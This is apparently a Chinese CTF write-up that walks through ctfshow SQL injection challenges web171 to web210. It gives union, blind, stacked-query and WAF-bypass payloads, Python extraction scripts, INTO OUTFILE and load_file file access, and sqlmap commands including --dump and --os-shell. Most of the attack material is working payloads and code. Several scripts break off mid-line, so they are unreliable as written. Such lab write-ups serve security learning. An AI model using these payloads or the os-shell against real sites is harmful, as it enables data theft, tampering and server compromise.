千家信息网

php中常见sql注入类型有哪些

发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,php中常见sql注入类型有哪些,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。一、无过滤注入web171~union联合注入//拼接sq
千家信息网最后更新 2025年12月02日php中常见sql注入类型有哪些

php中常见sql注入类型有哪些,相信很多没有经验的人对此束手无策,为此本文总结了问题出现的原因和解决方法,通过这篇文章希望你能解决这个问题。

一、无过滤注入

web171~union联合注入

//拼接sql语句查找指定ID用户$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";

直接开始

1'--+

成功会先 id为1的用户密码。

1' order by 3--+

1,2,3处都有回显

-1' union select 1,2,3--+

爆出库名 ctfshow_web

-1' union select 1,2,database()--+

爆出表名 ctfshow_user

-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='ctfshow_web'--+

爆出列名 id,username,password

-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' and table_schema=database()--+

爆出字段内容

1adminadmin~,2user1111~,3user2222~,4userAUTOpasswordAUTO~,5userAUTOpasswordAUTO~,6userAUTOpasswordAUTO~,7userAUTOpasswordAUTO~,8userAUTOpasswordAUTO~,9userAUTOpasswordAUTO~,10userAUTOpasswordAUTO~,11userAUTOpasswordAUTO~,12userAUTOpasswordAUTO~,13userAUTOpasswordAUTO~,14userAUTOpasswordAUTO~,15userAUTOpasswordAUTO~,16userAUTOpasswordAUTO~,17userAUTOpasswordAUTO~,18userAUTOpasswordAUTO~,19userAUTOpasswordAUTO~,20userAUTOpasswordAUTO~,21userAUTOpasswordAUTO~,22userAUTOpasswordAUTO~,23userAUTOpasswordAUTO~,24userAUTOpasswordAUTO~,26flagflag{90be1d62-6fab-41d6-aa43-c7d5a1c90ab7}~
-1' union select 1,2,group_concat(id,username,password,0x7e) from ctfshow_user--+

还可以直接抓包找到 api,直接爆出

http://96977979-97ee-410a-8c0f-bd0b2883bd95.chall.ctf.show/api/?id=1'or1--+&page=1&limit=10

web172

流程就不来了,

直接

-1' union select 1,group_concat(username,password) from ctfshow_user2--+

web173~hex编码

查询语句

//拼接sql语句查找指定ID用户$sql = "select id,username,password from ctfshow_user3 where username !='flag' and id = '".$_GET['id']."' limit 1;";返回逻辑//检查结果是否有flagif(!preg_match('/flag/i', json_encode($ret))){$ret['msg']='查询成功';}

过滤了返回字符串不能含有 flag,

那我们就将他十六进制编码即可。

-1' union select 1,2,hex(group_concat(username,password)) from ctfshow_user3--+

web174~py脚本布尔盲注

查询语句

//拼接sql语句查找指定ID用户

$sql = "select username,password from ctfshow_user4 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}


无回显,只好盲注了,

1' and ascii(substr((select password from ctfshow_user4 where username ='flag'),1,1))=2--+

验证了成功可以盲注,第一位ascii是102,也就是f

写个脚本。

# @Author:yanmieimport requestsurl = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and "headers = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"}i=0j=1result = ""while True:    i = i + 1    payload = "ascii(substr((select password from ctfshow_user4 where username ='flag'),{j},1)) = {i}--+"    #print(i,j)    payload = payload.format(j=j,i=i)    # print(payload)    response = requests.get(url = url+payload,headers = headers)    if "admin" in response.text:        result += chr(i)        print(result)        i = 0        j = j+1    if i == 128:        breakprint(result)

好家伙,自增脚本结果也是废了一小段时间才跑出来。

那就再写一个二分法脚本:

# @Author:yanmieimport requestsurl = "http://d273060e-9119-43c3-9737-acf668088663.chall.ctf.show/api/v4.php?id=1' and "headers = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"}i = 0result = ""while True:    head = 0    tail = 127    i += 1    while head

结果快多了。

web175~py脚本时间盲注,写文件

查询语句

//拼接sql语句查找指定ID用户

$sql = "select username,password from ctfshow_user5 where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}


[\x00-\x7f]/i匹配了基本 ascii 码值。也就是说基本页面不会回显数据库里的数据。

只会回显

{"code":0,"msg":"\u67e5\u8be2\u5931\u8d25","count":1,"data":[]}

尝试间件盲注1' and sleep(5)--+成功。

if 函数if(a,b,c), if判断,如果为真,返回b,否则返回c

继续写脚本

# @Author: yanmieimport requestsimport timeurl = "http://e1c35db2-f1de-4e77-8ae9-f7739465a81d.chall.ctf.show/api/v5.php?id=1' and "headers = {    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:81.0) Gecko/20100101 Firefox/81.0"}i = 0result = ""while True:    i += 1    for j in range(0,127):        j += 1        payload = "if((ascii(substr((select password from ctfshow_user5 where username='flag'),{i},1)))={j},sleep(5),0)--+".format(i=i,j=j)        start_time = time.time()        response = requests.get(url=url+payload,headers=headers)        end_time = time.time()        print(i,j)        if end_time-start_time>5:            result += chr(j)            break    print(result)    if '}' in result:        break

可是这个脚本耗费时间太长了,42*5 秒 多。

另一种解法:

把 flag 内容写入 文件

1' union select username,password from ctfshow_user5 where username='flag' into outfile '/var/www/html/1.txt'--+

二、过滤注入

web176~大小写绕过

·查询语句

//拼接sql语句查找指定ID用户

$sql = "select id,username,password from ctfshow_user where username !='flag' and id = '".$_GET['id']."' limit 1;";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//代码过于简单,不宜展示
}


万能密码:

1' or 1--+

在表中 flag 直接回显

还可以大小写绕过:

-1' UnION sELect 1,2,3--+-1' UnION sELect id,username,password from ctfshow_user where username='flag'--+

web177~/**/绕过空格

反复测试,过滤了空格。

1'--+这个不可以 ,1'%23可以。

过滤空格可以使用/**/绕过

1'/**/or/**/1%231'/**/union/**/select/**/id,username,password/**/from/**/ctfshow_user/**/where/**/username='flag'%231'/**/union/**/select/**/id,username,password/**/from`ctfshow_user`where`username`='flag'%23

表名,列名可以用反引号。

web178~%09绕过空格

过滤了空格和*

可以用tab代替空格,也就是%09

1'%09union%09select%09id,username,password%09from%09ctfshow_user%09where%09username='flag'%23

一把梭

1'or'1'%23

web179~绕过空格

经测试,过滤了空格、%09/**/

可以用绕过。

1'unionselectid,username,passwordfromctfshow_userwhereusername='flag'%23

还可以一把梭

1'or'1'%23

web180-182~直接查id

把所有能用的空格都过滤了。

换其他姿势,直接查 id

-1'or(id=26)and'1

web183~where正则匹配

查询语句

//拼接sql语句查找指定ID用户

$sql = "select count(pass) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/ |*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;


需要我们post传入参数tableName

当传入tableName=ctfshow_user时,有变化

$user_count = 22;

说明有 22 行数据。

这里吧等于号过滤了,所以利用正则。

不能有空格,不能有 *

tableName=`ctfshow_user`where(substr(`pass`,1,1)regexp('f'))

成功利用 where 条件匹配到 f

写个脚本

# @Author: yanmieimport requestsurl = "http://cd6b047c-93a9-41e2-b3e2-ab58d7328aea.chall.ctf.show/select-waf.php"payload = "`ctfshow_user`where(substr(`pass`,{},1)regexp('{}'))"str = "flag{abcdefghijklmnopqrstuvwxyz0123456789-}"i = 0flag = ""while True:    i += 1    for j in str:        data = {            "tableName":payload.format(i,j)        }        response = requests.post(url=url,data=data)        if "user_count = 1;" in response.text:            # print(response.text)            # print(j)            flag += j            break    print(flag)    if '}' in flag:        break

web184~right join...on注入过字母

查询语句

//拼接sql语句查找指定ID用户

$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;




过滤了where、双引号、单引号

使用 right join
RIGHT JOIN 关键字从右表(table2)返回所有的行,即使左表(table1)中没有匹配。如果左表中没有匹配,则结果为 NULL。

on 条件是在生成临时表时使用的条件,它不管 ON 中的条件是否为真,都会返回左边表中的记录;

传参

tableName=ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,1,1)regexp(chr(102)))

得到

$user_count = 43;

说明可以进行这样的注入。

写个脚本:

import requestsurl = "http://57dc38dc-6d61-491f-8ca1-6c199e3256be.chall.ctf.show/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},1)regexp(char({})))"i = 5flag ="flag{"while True:    i += 1    for j in range(127):        data = {            "tableName":payload.format(i,j)        }        response = requests.post(url=url,data = data)        if "user_count = 43;" in response.text:            if chr(j) != ".":                flag += chr(j)                break;    print(flag.lower())

web185~true绕过数字

查询语句

//拼接sql语句查找指定ID用户

$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;


多过滤了数字。

sql语句中 true 即为 1 ,true+true=2,写个脚本

# @Author: yanmieimport requestsurl = "http://dfd3af46-a52f-48ad-a9de-077c38c0597a.chall.ctf.show/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))"i =5flag = "flag{"def createNum(n):    num = 'true'    if num == 1:        return 'true'    else:        for i in range(n-1):            num += '+true'        return num;while True:    i += 1    for j in range(127):        data ={            "tableName":payload.format(createNum(i),createNum(1),createNum(j))        }        response = requests.post(url=url,data=data)        # print(i,j,data)        # print(response.text)        # if response.text.find("$user_count = 43;") > 0:        if "$user_count = 43;" in response.text:            if chr(j) != ".":                flag += chr(j)                break;    print(flag.lower())    if chr(j) == '}':        break

web186

查询语句

//拼接sql语句查找指定ID用户

$sql = "select count(*) from ".$_POST['tableName'].";";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
return preg_match('/*|\x09|\x0a|\x0b|\x0c|\0x0d|\xa0|%|<|>|^|\x00|#|\x23|[0-9]|file|=|or|\x7c|select|and|flag|into|where|\x26|'|"|union|`|sleep|benchmark/i', $str);
}

查询结果

//返回用户表的记录总数
$user_count = 0;


直接拿上题的脚本就可以

# @Author: yanmieimport requestsurl = "http://f9cb7903-66ce-445d-874a-b54de32dd8da.chall.ctf.show/select-waf.php"payload = "ctfshow_user as a right join ctfshow_user as b on (substr(b.pass,{},{})regexp(char({})))"i =5flag = "flag{"def createNum(n):    num = 'true'    if num == 1:        return 'true'    else:        for i in range(n-1):            num += '+true'        return num;while True:    i += 1    for j in range(127):        data ={            "tableName":payload.format(createNum(i),createNum(1),createNum(j))        }        response = requests.post(url=url,data=data)        if "$user_count = 43;" in response.text:            if chr(j) != ".":                flag += chr(j)                break;    print(flag.lower())    if chr(j) == '}':        break

web187~md5 sql注入

查询语句

//拼接sql语句查找指定ID用户

$sql = "select count(*) from ctfshow_user where username = '$username' and password= '$password'";

返回逻辑

$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}

md5()函数有两个参数,一个是要加密的字符串,另一个是输出格式,

可选。规定十六进制或二进制输出格式:

TRUE - 原始 16 字符二进制格式
FALSE - 默认。32 字符十六进制数

但是组成查询语句的时候这个hex会被转成字符串,如果转换之后的字符串包含'or',就会和原查询语句一起组成.

也就是说将密码转换成16进制的hex值以后,再将其转换成字符串后包含' 'or ' xxx 。

提供一个字符串:ffifdyop

md5后,276f722736c95d99e921722cf9ed621c

再转成字符串:'or'6<其他字符>

web188~where逻辑条件

查询语句

//拼接sql语句查找指定ID用户

$sql = "select pass from ctfshow_user where username = {$username}";

返回逻辑

//用户名检测
if(preg_match('/and|or|select|from|where|union|join|sleep|benchmark|,|(|)|'|"/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

这里限制密码只能为数字,但是这里是弱比较,0==admin

用户名处也正则限制了很多,但还是有很多姿势。

select * from users where first_name=0; select * from users where first_name=1<1; select * from users where first_name=1=0;

可以查询出所有数据,为什么呢?逻辑结构,首先first_name=1为假也就是0 ,然后0<1就为真,所以可以查。

这样也可以,反引号列名

select * from users where first_name=`first_name`;

所以此题payload

0/01<1/00=0/0

web189~locate定位函数

提示:

flag在api/index.php文件中

访问http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php

有两种状态,查询失败和密码错误。

利用这两种状态来读取文件判断flag具体在哪个位置。

MySQL定位函数

INSTR(str,substr)-> 返回字符串 str 中子字符串的第一个出现位置,否则为0

FIND_IN_SET(str,strlist)-> 返回字符串 str 中子字符串的第一个出现位置,否则为0

LOCATE(substr,str,pos)-> 返回字符串 str中子字符串substr的第一个出现位置, 起始位置在pos。如若substr 不在str中,则返回值为0

POSITION(substr IN str)-> 返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0

构造payload:

username=username=if(locate("flag{",load_file('/var/www/html/api/index.php'))>0,0,1)&password=1

页面返回

{"code":0,"msg":"\u5bc6\u7801\u9519\u8bef","count":0,"data":[]}

说明文件中确实存在flag.

写个脚本:

思路:先得到flag所在位置,然后从此位置开始使用二分法得到每位字符拼接成flag。

# @Author: yanmieimport requestsurl = "http://54e509b4-af7d-4ba0-95cd-c84c9a7d0886.chall.ctf.show/api/index.php"def getFlagPos():    payload = "if(locate('flag{',load_file('/var/www/html/api/index.php'))>%d,0,1)"    head = 0    tail = 1000    while head

三、布尔盲注

web190~py脚本布尔盲注

查询语句

//拼接sql语句查找指定ID用户

$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪

如果瞎输入用户名,会提示用户名不存在,

但是如果输入1'or'1'='1就会提示密码错误存在布尔注入.

找到api开始

http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/

写个脚本

# Author: yanmieimport requestsurl = "http://8846c979-3fe0-41fd-aef7-6042f6f9bc21.chall.ctf.show/api/"# 查询当前数据库def getDatabase():    payload = "0'or(ascii(substr(database(),{},1))>{})='1"    i = 0    database = ""    while True:        i +=1        head = 0        tail = 127        while head

web191~ord代替ascii

查询语句

//拼接sql语句查找指定ID用户

$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

过滤了ascii,所以不能使用上题的方式了。

可以使用ord代替ascii

ord(str) 如果字符串str的最左边的字符是一个多字节字符返回该字符,用这个公式其组成字节的数值计算的代码,如果最左边的字符不是一个多字节字符,ORD()返回相同的值如ASCII()函数。
select ord('a');则返回 a 的 ascii 码值。

那么只需更改一下上官的脚本就可以直接拿到flag了。

# Author: yanmieimport requestsurl = "http://5f86e6f7-cc18-49ae-8d60-b7184fde02d2.chall.ctf.show/api/"# 查询当前数据库def getDatabase():    payload = "0'or(ord(substr(database(),{},1))>{})='1"    i = 0    database = ""    while True:        i +=1        head = 0        tail = 127        while head

web192~regexp正则布尔盲注

查询语句

//拼接sql语句查找指定ID用户

$sql = "select pass from ctfshow_user where username = '{$username}'";

返回逻辑

//密码检测
if(!is_numeric($password)){
$ret['msg']='密码只能为数字';
die(json_encode($ret));
}

//密码判断
if($row['pass']==$password){
$ret['msg']='登陆成功';
}

//TODO:感觉少了个啥,奇怪
if(preg_match('/file|into|ascii|ord|hex/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

又增加过滤了ordhex,根据过滤内容,上关还可以用hex

我们可以使用正则匹配regexp

# Author: yanmieimport requestsurl = "http://59005239-92ca-42fd-ac7a-4d41b67b2e55.chall.ctf.show/api/"flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}"# 查询字段中内容def get_dump():    payload = "0'or((substr((select group_concat(f1ag) from ctfshow_fl0g),{},1))regexp('{}'))='1"    i = 0    dump = ""    while True:        i += 1        for j in flag:            data = {                "username": payload.format(i, j),                "password": 0,            }            response = requests.post(url=url, data=data)            # +print(i,j,data)            if "密码错误" in response.json()['msg']:                dump += j                print(dump)                if "}" in dump:                    return dump                breakif "__main__" == __name__:    dump = get_dump()    print("[+]the flag is :",dump)

web193~mid截断字符串

if(preg_match('/file|into|ascii|ord|hex|substr/i', $username)){
$ret['msg']='用户名非法'; die(json_encode($ret));

}

又把substr过滤了

但是我们可以使用mid代替。

MID 函数用于从文本字段中提取字符

写个脚本

(哈哈哈,表名和前面的不一样了,大半天没跑出来。。)

# Author: yanmieimport requestsurl = "http://83decdb8-6686-4d24-9a8f-1a51156a0e21.chall.ctf.show/api/"flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_"# 查询字段中内容def get_dump():    # payload = "0'or((mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))regexp('{}'))='1"    # 得到 ctfshow_flxg    # payload = "0'or((mid((select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg'),{},1))regexp('{}'))='1"    # 得到 id  f1ag    payload = "0'or((mid((select group_concat(f1ag) from ctfshow_flxg),{},1))regexp('{}'))='1"    i = 0    dump = ""    while True:        i += 1        for j in flag:            data = {                "username": payload.format(i, j),                "password": 0,            }            response = requests.post(url=url, data=data)            # print(i,j,data)            if "密码错误" in response.json()['msg']:                dump += j                print(dump)                if "}" in dump:                    return dump                breakif "__main__" == __name__:    dump = get_dump()    print("[+]the flag is :",dump)

web194~locate布尔盲注

if(preg_match('/file|into|ascii|ord|hex|substr|char|left|right|substring/i', $username)){
$ret['msg']='用户名非法'; die(json_encode($ret));

}

直接上题的脚本就可以跑出来。

其他方法,利用 mysql定位函数locate

# Author: yanmieimport requestsurl = "[http://ad1cf08f-6278-4479-9deb-48c](http://ad1cf08f-6278-4479-9deb-48c)[3ce9449a9.chall.ctf.show/api/](http://4ce9449a9.chall.ctf.show/api/)"flag = "{abcdefghijklmnopqrstuvwxyz0123456789-}_,"# 查询字段中内容def get_dump():    # payload = "0'or(if((locate('{}',(select group_concat(table_name) from information_schema.tables where table_schema=database())))=1,1,0))='1"    # 得到 ctfshow_flxg,ctfshow_user    # payload = "0'or(if((locate('{}',(select group_concat(column_name) from information_schema.columns where table_name='ctfshow_flxg')))=1,1,0))='1"    # 得到 id,f1ag    payload = "0'or(if((locate('{}',(select f1ag from ctfshow_flxg limit 0,1)))=1,1,0))='1"    dump = ""    while True:        for j in flag:            dump += j            data = {                "username": payload.format(dump),                "password": 0,            }            response = requests.post(url=url, data=data)            # print(j,data)            if "密码错误" in response.json()['msg']:                # dump += j                print(dump)                if "}" in dump:                    return dump                break            else:                dump = dump[:-1]if "__main__" == __name__:    dump = get_dump()    print("[+]the flag is :",dump)

四、堆叠注入

web195~堆叠注入

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){

$ret['msg']='用户名非法';
die(json_encode($ret));
}

把常见的查询语句过滤了,所以来个堆叠update更新数据操作。

payload:

把所有密码都更改为 1

0x61646d696e;update`ctfshow_user`set`pass`=1

用十六进制只因为,这里的查询语句没有引号包裹

$sql = "select pass from ctfshow_user where username = {$username};";

还可以把用户名也全部跟改为1,就不用十六进制了

1;update`ctfshow_user`set`username`=1

web196~限制长度

if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){

$ret['msg']='用户名非法';
die(json_encode($ret));
}


if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}


限制了用户名长度,十六个长度是不够更改数据的。

但是偶然试了一下select多查一个数据,结果成功登陆了。但是这里题目明明是过滤的。。。

payload:

username:    1;select(1);pass:        1

web197-198~alert修改字段,show tables;

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){

$ret['msg']='用户名非法';
die(json_encode($ret));
}

update不能使用了。

想插入数据但是过滤了into

现在没有长度限制,没有过滤空格,不能selectupdateinsert

那就只能alter了。

ALTER TABLE 语句用于在已有的表中添加、修改或删除列。

那我们可以利用alter修改字段名,把idpass对调。

username:   0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)pass:       数字自增测试# 注意用户名第一次填 payload,之后就只填 0

这里为甚么用户名使用0,因为数据表里刚开始测试时候,用户名为0 时,密码错误,说明有这个用户名。

写个脚本:

# Author: yanmieimport requestsurl = "http://9c929736-5b1e-4098-a346-b84a2d3e3509.chall.ctf.show/api/"i = 0while True:    i += 1    if i==1:        data = {            "username" : "0;alter table ctfshow_user change column `pass` `a` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `a` `id` varchar(255)",            "password" : 0,        }        response = requests.post(url=url,data=data)    else:        data = {            "username" : 0,            "password" : {i}        }        response = requests.post(url=url,data=data)        if "登陆成功" in response.json()['msg']:            print(response.text)            break

另一种解法:

username:    0;show tables;pass:        ctfshow_user

web198

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop/i', $username)){

$ret['msg']='用户名非法';
die(json_encode($ret));
}

web199-200~show tables;

if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set|create|drop|\(/i', $username)){

$ret['msg']='用户名非法';
die(json_encode($ret));
}

过滤了(,所以不能用 alter 了,

但是还能直接

username:   0;show tablespassword:   ctfshow_user

五、sqlmap的使用

web201

sqlmap最新版下载

使用--user-agent 指定agent

使用--referer 绕过referer检查

判断注入点:

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show"

爆数据库

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --dbs --batch

得到

available databases [5]:[*] ctfshow_web[*] information_schema[*] mysql[*] performance_schema[*] test

爆表名:

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web --tables --batch

得到

Database: ctfshow_web[1 table]+--------------+| ctfshow_user |+--------------+

爆字段:

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns --batch

爆内容

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C id,pass,username --dump --batch

得到 shell

python2 sqlmap.py -u "http://0f81bbb3-0eb7-42fe-b6ac-818d9ee151d1.chall.ctf.show/api/?id=1" --referer="ctf.show" --os-shell

web202~--data参数

使用--data 调整sqlmap的请求方式

post方式提交参数

python2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" --dbs --batchpython2 sqlmap.py -u "http://e815b8f2-5a11-4998-8cb9-aa806fb67550.chall.ctf.show/api/" --data="id=1" --referer="ctf.show" -D ctfshow_web -T ctfshow_user --dump --batch

web203--put参数

使用--method 调整sqlmap的请求方式

python2 sqlmap.py -u "http://ca0824d5-f358-4494-b5ee-0f0ad93fdf39.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type: text/plain" --dbms=mysql -D ctfshow_web -T ctfshow_user --dump --batch

web204~--cookie参数

使用--cookie 提交cookie数据

python2 sqlmap.py -u "http://c1338d3e-26fa-49c9-b2aa-583f5fe1418f.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show  --dbms=mysql dbs=ctfshow_web -T ctfshow_user -C pass --dump --headers="Content-Type: text/plain" --cookie="PHPSESSID=beu7iuepljde5gf9frge7542of;" --batch

web205~api鉴权

api调用需要鉴权

--safe-url 设置在测试目标地址前访问的安全链接

--safe-freq 设置两次注入测试前访问安全链接的次数

不访问的话

{"code":0,"msg":"api鉴权失败","count":1,"data":[[]]}
python2 sqlmap.py -u "http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql dbs=ctfshow_web -T ctfshow_flax -C flagx --dump  --headers="Content-Type: text/plain" --safe-url="http://ae19532d-121c-4048-9902-3f93f0028c30.chall.ctf.show/api/getToken.php" --safe-freq=1 --batch

web206

sql需要闭合

$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

这里 sql 语句闭合方式变化了,

--prefix=PREFIX-> 攻击载荷的前缀

--suffix=SUFFIX-> 攻击载荷的后缀

其实不使用,sqlmap也可以判断出来。

python2 sqlmap.py -u "http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --dbms=mysql -D "ctfshow_web" -T "ctfshow_flaxc" -C "flagv" --dump  --headers="Content-Type: text/plain" --safe-url=http://a3eb3756-01fe-4ca1-a236-21d47920bd25.chall.ctf.show/api/getToken.php --safe-freq=1 --batch

web207~tamper脚本过空格

--tamper 的初体验

function waf($str){

return preg_match('/ /', $str);
}

直接使用sqlmap自带 tamper 脚本,绕过空格过滤

python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 --dbs --tamper=space2comment --batch
python2 sqlmap.py -u "http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://2fe69805-4831-45bb-b61c-a146cd3e448b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flaxca --dump --tamper=space2comment --batch

web208

--tamper 的2体验

查询语句

//拼接sql语句查找指定ID用户

$sql = "select id,username,pass from ctfshow_user where id = ('".$id."') limit 0,1;";

返回逻辑

//对传入的参数进行了过滤
// $id = str_replace('select', '', $id);
function waf($str){
return preg_match('/ /', $str);
}


过滤大小写空格,所以直接上题tamper就可以。

python2 sqlmap.py -u "http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/index.php" --method=PUT --data="id=1" --referer=ctf.show --headers="Content-Type:text/plain" --safe-url="http://9ebc2f80-ebe8-4ac2-8b2c-0283b6fce95b.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web --dump  --tamper=space2comment --batch

web209~tamper绕过 =

查询语句

//拼接sql语句查找指定ID用户

$sql = "select id,username,pass from ctfshow_user where id = '".$id."' limit 0,1;";

返回逻辑

//对传入的参数进行了过滤
function waf($str){
//TODO 未完工
return preg_match('/ |*|=/', $str);
}


过滤空格,* ,= .

还是自己学写 tamper 脚本吧,

教程点这里

#!/usr/bin/env pythonfrom lib.core.compat import xrangefrom lib.core.enums import PRIORITY__priority__ = PRIORITY.LOWdef tamper(payload, **kwargs):    payload = space2comment(payload)    return payloaddef space2comment(payload):    retVal = payload    if payload:        retVal = ""        quote, doublequote, firstspace = False, False, False        for i in xrange(len(payload)):            if not firstspace:                if payload[i].isspace():                    firstspace = True                    retVal += chr(0x0a)                    continue            elif payload[i] == '\'':                quote = not quote            elif payload[i] == '"':                doublequote = not doublequote            elif payload[i] == "*":                retVal += chr(0x31)                continue            elif payload[i] == "=":                retVal += chr(0x0a)+'like'+chr(0x0a)                continue            elif payload[i] == " " and not doublequote and not quote:                retVal += chr(0x0a)                continue            retVal += payload[i]    return retVal
python2 sqlmap.py -u http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/index.php --method=PUT --data="id=1" --referer=ctf.show  --headers="Content-Type:text/plain" --safe-url="http://d93f9b84-d223-4f3d-8786-2b92e5b2535f.chall.ctf.show/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flav --dump  --tamper=web209 --batch

web210~字符串编码

//对查询字符进行解密

function decode($id){
return strrev(base64_decode(strrev(base64_decode($id))));
}

先解码再字符反转再解码再字符反转.

